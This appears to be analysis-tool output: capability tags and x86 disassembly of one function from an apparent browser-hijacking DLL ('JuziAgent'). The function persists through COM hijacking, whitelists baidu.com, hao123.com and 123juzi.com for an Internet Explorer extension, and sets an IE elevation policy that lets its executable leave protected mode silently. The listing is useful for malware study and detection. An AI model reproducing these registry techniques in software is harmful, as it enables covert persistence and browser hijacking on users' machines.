Function at 0x100047d8
Capabilities:
Check if file exists
Persist via com hijack
Set registry value

Disassembly:
sub esp, 0x41c
mov eax, dword [0x1002c294]
xor eax, esp
mov dword [esp + 0x418], eax
call fcn.100045d1
test eax, eax
jne 0x10004a75
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.10012df0
add esp, 0xc
push 0x103
lea eax, [esp + 0xc]
push eax
push dword [0x1002e828]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 8]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x1000482e
push ebx
push ebp
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
push edi
sub eax, ecx
sar eax, 1
add eax, eax
push eax
lea eax, [esp + 0x1c]
push eax
push 1
push 0
mov ebx, str.SoftwareClassesCLSIDF552F265_6686_4422_84E5_C695E35D863AInprocServer32
push ebx
mov edi, SysReAllocStringLen
push edi
call esi
push 0x12
push str.Apartment
push 1
mov ebp, str.ThreadingModel
push ebp
push ebx
push edi
call esi
push 0x4c
push str.F552F265_6686_4422_84E5_C695E35D863A
xor ebx, ebx
inc ebx
push ebx
push 0
push str.SoftwareClassesJuziAgent.AgentCLSID
push edi
call esi
call fcn.10003904
test eax, eax
je 0x1000493b
xor eax, eax
push 0x206
push eax
mov word [esp + 0x228], ax
lea eax, [esp + 0x22a]
push eax
call fcn.10012df0
add esp, 0xc
push 0x103
lea eax, [esp + 0x224]
push eax
push dword [0x1002e828]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.npJuziPlugin_x64.dll
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [esp + 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1000493b
lea eax, [esp + 0x220]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x1000490b
sub eax, edx
sar eax, 1
add eax, eax
push eax
lea eax, [esp + 0x224]
push eax
push 0
call fcn.10003980
push 0x12
push str.Apartment
push ebp
call fcn.10003980
add esp, 0x18
push 4
pop ebp
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
mov dword [esp + 0x1c], ebx
push str.Type
mov ebx, str.SoftwareMicrosoftWindowsCurrentVersionExtStatsF552F265_6686_4422_84E5_C695E35D863Aiexplore
push ebx
push edi
call esi
and dword [esp + 0x10], 0
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push str.Flags
push ebx
push edi
call esi
push 8
mov ebx, str.TRUE
push ebx
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExtStatsF552F265_6686_4422_84E5_C695E35D863AiexploreAllowedDomains_baidu.com
push edi
call esi
push 8
push ebx
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExtStatsF552F265_6686_4422_84E5_C695E35D863AiexploreAllowedDomainshao123.com
push edi
call esi
push 8
push ebx
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExtStatsF552F265_6686_4422_84E5_C695E35D863AiexploreAllowedDomains123juzi.com
push edi
call esi
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push str.baidu.com
mov ebx, str.SoftwareMicrosoftInternet_ExplorerTabProcConfig
push ebx
push edi
mov dword [esp + 0x28], 0x47b
call esi
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push str.hao123.com
push ebx
push edi
call esi
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push str.123juzi.com
push ebx
push edi
call esi
lea eax, [esp + 0x18]
push eax
xor ecx, ecx
call fcn.10002e05
pop ecx
test eax, eax
je 0x10004a71
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
test eax, eax
je 0x10004a71
mov ecx, eax
lea edx, [ecx + 2]
mov bx, word [ecx]
inc ecx
inc ecx
test bx, bx
jne 0x10004a04
sub ecx, edx
sar ecx, 1
add ecx, ecx
push ecx
push eax
push 1
push str.AppName
mov ebx, str.SoftwareMicrosoftInternet_ExplorerLow_RightsElevationPolicyF552F265_6686_4422_84E5_C695E35D863A
push ebx
push edi
call esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [esp + 0x18]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x10004a38
sub eax, ecx
sar eax, 1
add eax, eax
push eax
lea eax, [esp + 0x1c]
push eax
push 1
push str.AppPath
push ebx
push edi
call esi
push ebp
lea eax, [esp + 0x18]
push eax
push ebp
push str.Policy
push ebx
push edi
mov dword [esp + 0x2c], 3
call esi
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x418]
xor eax, eax
xor ecx, esp
inc eax
call fcn.1000e51f
add esp, 0x41c
ret